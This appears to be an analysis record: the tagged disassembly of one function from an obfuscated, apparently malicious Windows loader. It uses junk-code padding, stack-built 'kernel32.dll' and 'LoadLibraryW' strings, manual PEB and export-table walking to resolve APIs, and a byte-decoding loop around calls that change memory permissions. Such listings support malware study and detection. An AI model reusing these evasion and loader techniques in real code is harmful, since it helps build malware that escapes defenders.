Function at 0x4124ad
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push edx
add edx, 0x17385
sub edx, 0x171d
pop edx
push ebx
xor ebx, 0x1579
pop ebx
push esi
jmp 0x41219a
jmp 0x41219f
add esi, 0x18442
jmp 0x4121ad
pop esi
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
push eax
add esp, 4
or ebx, 0x1b71
pop ebx
push edx
push esi
add esp, 4
sub edx, 0xe64
pop edx
push ebx
push ecx
add esp, 4
or ebx, 0x142e4
or ebx, 0x1354b
pop ebx
push edx
or edx, 0x4a1
pop edx
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push esi
push edx
add esp, 4
jmp 0x41226d
and esi, 0x1251b
xor esi, 0x61a9
xor esi, 0x17eec
pop esi
push ecx
push ebx
add esp, 4
jmp 0x41228c
and ecx, 0x8ab9
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4122b0
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x41230a
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4121d8
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4121d8
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x4122f4
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x4122fe
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x412353
push edi
push ecx
add esp, 4
sub edi, 0x4a87
or edi, 0x1591e
jmp 0x41232c
pop edi
push eax
push esi
add esp, 4
sub eax, 0x37ee
xor eax, 0x1809d
and eax, 0x52e5
pop eax
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x2fc], ecx
jmp 0x4123bb
push ecx
sub ecx, 0x43ed
jmp 0x412360
sub ecx, 0x17291
jmp 0x41236d
pop ecx
push edi
call 0x41237b
add byte [edx], dh
xor eax, dword [ebx + 0x34]
dec ebp
inc ebp
add esp, 4
add edi, 0x141cd
pop edi
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x4123b1
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x41217c
mov dword [ebp - 0x2fc], 0
push edx
push edx
add esp, 4
jmp 0x4123c8
xor edx, 0x3a33
sub edx, 0x102ff
or edx, 0xc7e9
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x32a1
xor ebx, 0xf812
pop ebx
cmp dword [ebp - 0x2fc], 0
jne 0x412cf2
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push edi
push eax
add esp, 4
add edi, 0x8b0f
call 0x4124ad
add byte [ecx], bh
dec edx
aaa
cmp edi, dword [ebx]
cmp eax, 0x8342494f
les eax, [ecx + eax*4]
out dx, eax
lahf
xchg dword [eax], eax
add byte [ecx + 0x350cf7], al
add byte [edi + 0x50], bl
sub eax, 0x11a91
pop eax
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push edx
push edi
add esp, 4
or edx, 0x7ec7
and edx, 0x14036
sub edx, 0x6f81
pop edx
push ecx
xor ecx, 0xc492
sub ecx, 0x1124
add ecx, 0x10ee7
sub ecx, 0x125a7
pop ecx
cmp dword [ebp - 0x1620], 0
jne 0x412592
mov dword [ebp - 0x774], 0
jmp 0x412839
mov edx, dword [ebp - 0x1620]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push ecx
push ebx
add esp, 4
or ecx, 0x1012d
jmp 0x4125b7
or ecx, 0x1524b
xor ecx, 0x2a5
pop ecx
push ecx
push edi
add esp, 4
xor ecx, 0x12fbb
or ecx, 0x434e
pop ecx
cmp dword [ebp - 0xcd0], 0
jne 0x4125ee
mov dword [ebp - 0x774], 0
jmp 0x412839
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx
push ebx
push eax
add esp, 4
xor ebx, 0x7376
pop ebx
push esi
push esi
add esp, 4
sub esi, 0x6006
sub esi, 0xda31
xor esi, 0x68e3
pop esi
push edx
push ecx
add esp, 4
jmp 0x41262b
pop edx
lea eax, [ebp - 0x1790]
mov dword [ebp - 0xccc], eax
mov ecx, dword [ebp - 0x518]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcc8], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push esi
add esp, 4
xor esi, 0x13c4f
sub esi, 0x1387b
jmp 0x41266f
pop esi
push eax
push esi
add esp, 4
call 0x412684
add byte [ebx], dh
dec ecx
xor eax, 0x3946404e
dec ebp
cmp al, byte [ebx - 0x74a7fb3c]
xchg ebp, eax
cmp bl, dh
invalid
push edx
sub edx, 0x8dfe
pop edx
push eax
push esi
add esp, 4
or eax, 0x10365
or eax, 0x1cad
pop eax
push ecx
push ebx
add esp, 4
and ecx, 0xa286
xor ecx, 0x2549
and ecx, 0x70d4
pop ecx
cmp dword [ebp - 0x774], 0
jne 0x4128b5
push eax
jmp 0x41287b
pop eax
push esi
push eax
add esp, 4
sub esi, 0xab0c
sub esi, 0x404e
call 0x41289c
add byte [ecx], bh
inc edx
cmp dword [ebx], esi
dec edx
dec esp
aaa
add esp, 4
xor esi, 0xdbbb
pop esi
mov dword [ebp - 0xab4], 0
jmp 0x4133dd
push ebx
push ecx
add esp, 4
jmp 0x4128c1
pop ebx
push esi
push ebx
add esp, 4
or esi, 0x8040
pop esi
push edi
xor edi, 0xdd96
xor edi, 0x11b98
jmp 0x4128e0
jmp 0x4128e6
pop edi
mov ecx, dword [ebp - 0x774]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x166c], eax
cmp dword [ebp - 0x166c], 0
jne 0x412926
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x412c17
mov edx, dword [ebp - 0x166c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1670], eax
jne 0x41294e
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x412c17
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1670]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1678], edx
cmp dword [ebp - 0x1678], 0
jne 0x412980
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
jmp 0x412c17
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1678]
mov dword [ebp - 0x778], ecx
jne 0x4129a5
mov edx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], edx
jmp 0x412c17
mov eax, dword [ebp - 0x778]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19a4], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19a8], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19ac], edx
mov dword [ebp - 0x77c], 0
jmp 0x4129ff
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x77c]
cmp edx, dword [ecx + 0x18]
jae 0x412c0b
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a4]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x780], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19ac]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19b0], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x412a6f
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x412b21
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
test eax, eax
je 0x412b21
push ecx
push edi
add esp, 4
xor ecx, 0x13c7d
pop ecx
push edi
sub edi, 0x16d49
pop edi
push edi
call 0x412abe
add byte [eax + 0x49], dl
dec edx
dec ecx
inc ebp
inc edi
inc ecx
add esp, 4
xor edi, 0x132d3
sub edi, 0xd1da
pop edi
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
cmp edx, ecx
je 0x412b13
mov edx, dword [ebp - 0x780]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x8a4]
cmp eax, edx
jne 0x412b1a
jmp 0x412a60
jmp 0x412b21
push eax
sub eax, 0x7386
jmp 0x412b2d
jmp 0x412b32
or eax, 0x19f0
pop eax
push ecx
sub ecx, 0x2b2e
pop ecx
push edx
push edi
add esp, 4
and edx, 0x171b0
sub edx, 0x1593e
pop edx
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
cmp ecx, eax
jne 0x412b80
mov dword [ebp - 0xcd4], 0
jmp 0x412bef
push esi
jmp 0x412b86
pop esi
push eax
push edx
add esp, 4
add eax, 0xa75e
add eax, 0xcacd
pop eax
push esi
or esi, 0x1097e
call 0x412bae
add byte [ecx], bh
push eax
cmp eax, 0x3b493c45
xor al, byte [ebx - 0x74a1fb3c]
lea eax, [eax + 0x3fffff8]
lea esp, [eax - 2]
invalid
cmp dword [ebp - 0xcd4], 0
jne 0x412c06
mov edx, dword [ebp - 0x19b0]
mov dword [ebp - 0x3f8], edx
jmp 0x412c17
jmp 0x4129f0
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
je 0x412cf2
push edx
push edx
add esp, 4
add edx, 0x815b
pop edx
push edi
or edi, 0xa15a
jmp 0x412c3e
xor edi, 0x1407f
call 0x412c52
add byte [ecx], bh
aaa
dec esi
xor al, 0x36
xor al, 0x41
inc ebp
add esp, 4
pop edi
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x19b4], ecx
push eax
push eax
add esp, 4
add eax, 0x7640
sub eax, 0xac81
add eax, 0xc06c
sub eax, 0xdd89
pop eax
push eax
xor eax, 0xc955
pop eax
push ebx
push edx
add esp, 4
add ebx, 0x14ff7
pop ebx
mov edx, dword [ebp - 0x19b4]
mov dword [ebp - 0x19b8], edx
lea eax, [ebp - 0x1738]
push eax
call dword [ebp - 0x19b8]
test eax, eax
jne 0x412cf2
push ecx
push ecx
add esp, 4
jmp 0x412cbf
sub ecx, 0x823f
pop ecx
push ecx
jmp 0x412ccd
add ecx, 0x17579
call 0x412cdf
add byte [esi + 0x34], cl
inc eax
cmp eax, 0xc4834f4e
add al, 0x59
mov dword [ebp - 0xab4], 0
jmp 0x4133dd
push edx
jmp 0x412cfa
jmp 0x412d00
pop edx
push ecx
xor ecx, 0x6d6b
jmp 0x412d11
call 0x412d20
add byte [edi + 0x4a], al
dec esp
cmp dword [edi], edi
inc ebp
cmp dl, byte [eax + 0x4a]
add esp, 4
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x167c], ecx
push ecx
or ecx, 0x4f29
add ecx, 0x7784
or ecx, 0x114fc
pop ecx
push ebx
push esi
add esp, 4
or ebx, 0x174b3
pop ebx
push ebx
push edi
add esp, 4
xor ebx, 0x29be
sub ebx, 0xa97e
pop ebx
cmp dword [ebp - 0x167c], 0
jne 0x412d96
mov dword [ebp - 0x2fc], 0
jmp 0x41303d
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push eax
and eax, 0x11b1e
sub eax, 0x142aa
pop eax
push eax
call 0x412dc4
add byte [ebx], bh
inc edi
dec esp
xor al, 0x4a
inc ebp
xor al, byte [ebx - 0x377efb3c]
xchg ecx, eax
add al, byte [ecx]
add byte [ecx + 0x4aeef0], al
add byte [ecx + 0x6afee0], al
add byte [eax - 0x7d], bl
mov ebp, 0xfffff320
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2fc], 0
jmp 0x41303d
push ecx
push esi
add esp, 4
call 0x413052
add byte [edi + 0x45], al
dec edi
dec eax
xor eax, 0x3b463243
cmp eax, 0xeb04c483
add al, 0x42
push eax
xor ecx, dword [edi + 0x59]
push ebx
push ebx
add esp, 4
sub ebx, 0x13224
jmp 0x41306e
pop ebx
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push eax
jmp 0x413087
push es
pop eax
push esi
or esi, 0x4c46
and esi, 0x1d0b
and esi, 0x1a5c
add esi, 0x1344c
pop esi
push esi
add esi, 0x16784
or esi, 0x163d0
pop esi
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0x1688], 0
jne 0x4130e0
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x4133d1
mov edx, dword [ebp - 0x1688]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x168c], eax
jne 0x413108
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x4133d1
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x168c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1690], edx
cmp dword [ebp - 0x1690], 0
jne 0x41313a
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
test eax, esp
cli
invalid
invalid
jmp 0x4133d1
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1690]
mov dword [ebp - 0x788], ecx
jne 0x41315f
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x4133d1
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19c4], ecx
cmp al, 0xe6
invalid
dec dword [ebx - 0x7876b]
dec dword [ebx - 0x3377b]
inc dword [ebx]
inc edx
and al, 0x89
test dword [eax], edi
out 0xff, al
dec dword [ebx - 0x78773]
dec dword [ebx - 0x3376b]
inc dword [ebx]
push ecx
sbb al, 0x89
xchg ebp, eax
xor al, 0xe6
invalid
inc edi
test dword [eax + edi*8 - 1], esi
inc dword [eax]
add byte [eax], al
add bl, ch
invalid
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x4133c5
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c4]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19cc]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19d0], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x413229
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4132db
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
test eax, eax
je 0x4132db
push eax
call 0x413263
add byte [ebp + 0x47], cl
inc ebp
xor bh, byte [esi + 0x5804c483]
push eax
push ebx
add esp, 4
xor eax, 0x14a8d
jmp 0x413279
and eax, 0x8f7b
pop eax
push edi
and edi, 0xb0e3
pop edi
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
cmp edx, ecx
je 0x4132cd
mov edx, dword [ebp - 0x790]
add edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a4]
movsx edx, byte [ebp + ecx - 0x9d4]
cmp eax, edx
jne 0x4132d4
jmp 0x41321a
jmp 0x4132db
push edx
call 0x4132ea
add byte [ebx], dh
inc esp
xor al, byte [edx + 0x3a]
dec eax
xor esi, dword [ebx]
add esp, 4
jmp 0x4132f4
pop edx
push edi
push esi
add esp, 4
add edi, 0x216e
xor edi, 0xc7a8
or edi, 0x6d33
pop edi
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
cmp ecx, eax
jne 0x41333a
mov dword [ebp - 0xce4], 0
jmp 0x4133a9
push ecx
sub ecx, 0xdf3b
and ecx, 0xaec1
and ecx, 0xcef7
pop ecx
push edx
push esi
add esp, 4
xor edx, 0x23a9
add edx, 0xcbc3
jmp 0x413365
xor edx, 0xb38f
pop edx
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
or ecx, 0x20
cmp edx, ecx
jge 0x41339f
mov dword [ebp - 0xce4], 0xffffffff
jmp 0x4133a9
mov dword [ebp - 0xce4], 1
cmp dword [ebp - 0xce4], 0
jne 0x4133c0
mov edx, dword [ebp - 0x19d0]
mov dword [ebp - 0x520], edx
jmp 0x4133d1
adc ecx, ebp
in eax, 0xfd
invalid
jmp 0x4131aa
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
mov dword [ebp - 0xab4], ecx
push ebx
call 0x4133ec
add byte [ecx], bh
inc edx
inc eax
xor al, 0x35
cmp al, 0x48
cmp dword [ebx - 0x3c7efb3c], eax
sbb eax, 0x810000ec
jecxz 0x4133bf
or al, 1
add byte [ebx + 0x50], bl
push eax
add esp, 4
and eax, 0x6e04
jmp 0x41340e
pop eax
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19d4], edx
lea eax, [ebp - 0xce8]
push eax
push 0x40
mov ecx, dword [ebp - 0x1694]
push ecx
mov edx, dword [ebp - 0x3e8]
push edx
call dword [ebp - 0x19d4]
test eax, eax
jne 0x413482
push ecx
push ecx
add esp, 4
and ecx, 0x15239
or ecx, 0x8a23
pop ecx
push edx
call 0x41345e
add byte [0x444e3d42], bh
xor al, byte [esi + 0x43]
inc esi
add esp, 4
or edx, 0x2e80
or edx, 0x6c3
pop edx
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x19d8], eax
push 0
call dword [ebp - 0x19d8]
mov ecx, dword [ebp - 0x19dc]
mov dword [ebp - 0x798], ecx
jmp 0x41349f
mov edx, dword [ebp - 0x798]
add edx, 1
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x798]
cmp eax, dword [ebp - 0xab8]
jae 0x4134fb
push esi
push ecx
add esp, 4
or esi, 0x72ef
add esi, 0x13c92
pop esi
push edi
jmp 0x4134c7
sub edi, 0x12b60
jmp 0x4134d6
pop edi
push esi
xor esi, 0x711a
pop esi
movzx ecx, byte [ebp - 0x3ae]
mov edx, dword [ebp - 0x798]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x798]
mov byte [ecx], al
jmp 0x413490
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19e0], edx
lea eax, [ebp - 0xce8]
push eax
mov ecx, dword [ebp - 0xce8]
push ecx
mov edx, dword [ebp - 0x1694]
push edx
mov eax, dword [ebp - 0x3e8]
push eax
call dword [ebp - 0x19e0]
test eax, eax
jne 0x413573
push ecx
and ecx, 0x7aec
sub ecx, 0xf8d1
sub ecx, 0xb6cc
sub ecx, 0x6424
pop ecx
push ecx
push edi
add esp, 4
xor ecx, 0xcba5
jmp 0x413558
and ecx, 0x373f
pop ecx
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x19e4], ecx
push 0
call dword [ebp - 0x19e4]
push edi
call 0x413584
add byte [ebp + edi + 0x41], cl
dec ebp
dec edi
inc edi
xor al, 0x48
inc ecx
xor al, 0x83
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [eax + 0x46], cl
inc ebp
dec edx
inc ebp
cmp eax, 0x4c48349
jmp 0x41359d
jmp 0x4135a4
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff01ff
pop ecx
push edx
push esp
test ch, al
add eax, 0xa754ca82
add dword [ecx], eax
pop edx
push ebx
and bl, 0x33
push 0xf3820101
cmp edi, dword [ecx + 0x5ec0101]
inc ebp
inc esp
push ecx
inc eax
xor bl, 0x17
sub al, byte [ecx]
add dword [ebx + 0x51], ebx
push edi
test ch, al
add eax, 0x452cc182
add dword [ecx], eax
pop ecx
mov dword [esi + 0xefb5], 0xb686c748
out dx, eax
add byte [eax], al
mov word [esi + 0xefb7], 0xc775
xchg byte [eax + 0x4e0000ef], bh
mov dword [esi + 0xefb9], 0xba86c770
out dx, eax
add byte [eax], al
mov dword gs:[esi + 0xefbb], 0xbc86c776
out dx, eax
add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xefbd], 0xbe86c766
out dx, eax
add byte [eax], al
dec ecx
mov dword [esi + 0xefbf], 0xc086c762
out dx, eax
add byte [eax], al
outsd dx, dword [esi]
mov dword [esi + 0xefc1], 0xc286c765
out dx, eax
add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xefc3], 0xc486c766
out dx, eax
add byte [eax], al
pop eax
mov dword [esi + 0xefc5], 0x84575801
lds eax, [0x8160c882]
add al, byte [ecx]
cmp al, 0xc2
cmp eax, dword [edx]
add dword [eax + 0x58], esp
or al, 0xba
cmp eax, dword [edx]
add dword [eax + 0x54], esp
push esp
test ch, al
add eax, 0x7444e482
add dword [ecx], eax
and ah, 0x94
popfd
add dword [ecx], eax
sub ah, 0xa8
add dword [ecx], eax
add dword [edi + eax*8 - 0x7a], ebx
loope 0x413681
mov dword [esi + 0xefe1], 0xe286c747
out dx, eax
add byte [eax], al
push 0xffffffffffffffc7
xchg bl, ah
add byte [eax], al
inc edi
mov dword [esi + 0xefe2], 0xe386c76a
mov dword [esi + 0xefe3], 0xe486c76f
out dx, eax
add byte [eax], al
mov dword gs:[esi + 0xefe5], 0xe686c753
out dx, eax
add byte [eax], al
mov word [esi + 0xefe7], 0xc774
out dx, eax
add byte [eax], al
outsd dx, dword [esi]
mov dword [esi + 0xefe4], 0xe586c765
out dx, eax
add byte [eax], al
push ebx
mov dword [esi + 0xefe6], 0xe786c766
out dx, eax
add byte [eax], al
je 0x413687
xchg al, ch
out dx, eax
add byte [eax], al
jo 0x41368e
xchg cl, ch
out dx, eax
add byte [eax], al
jbe 0x413695
xchg dl, ch
out dx, eax
add byte [eax], al
jae 0x41369c
xchg bl, ch
out dx, eax
add byte [eax], al
mov dword fs:[esi + 0xefec], 0xed86c766
out dx, eax
add byte [eax], al
pop eax
mov dword [esi + 0xefee], 0x84515301
lds eax, [0xb5abf382]
add dword [ecx], eax
pop ebx
pop eax
mov ch, 1
add dword [ebx + 0x58], ebx
sub al, 0x6b
jno 0x413703
add dword [edx + 0x1be8cf0], eax
add ecx, ebp
or eax, dword [ecx]
add dword [ecx], eax
add dword [esi], edi
cmp ecx, dword [edx + ecx*2 + 0x4a]
xor al, 0x8c
mov esi, 0xbe90101
add dword [ecx], eax
add dword [ecx], eax
cmp ecx, dword ds:[edx + ecx*2 + 0x4a]
dec edi
inc esi
xor al, 0x42
test ch, al
add eax, 0xe4ef082
add al, byte [ecx]
pushal
mov dword [esi + 0xf001], 0x286c74d
lock add byte [eax], al
jo 0x4136f8
xchg byte [ebx], al
lock add byte [eax], al
invalid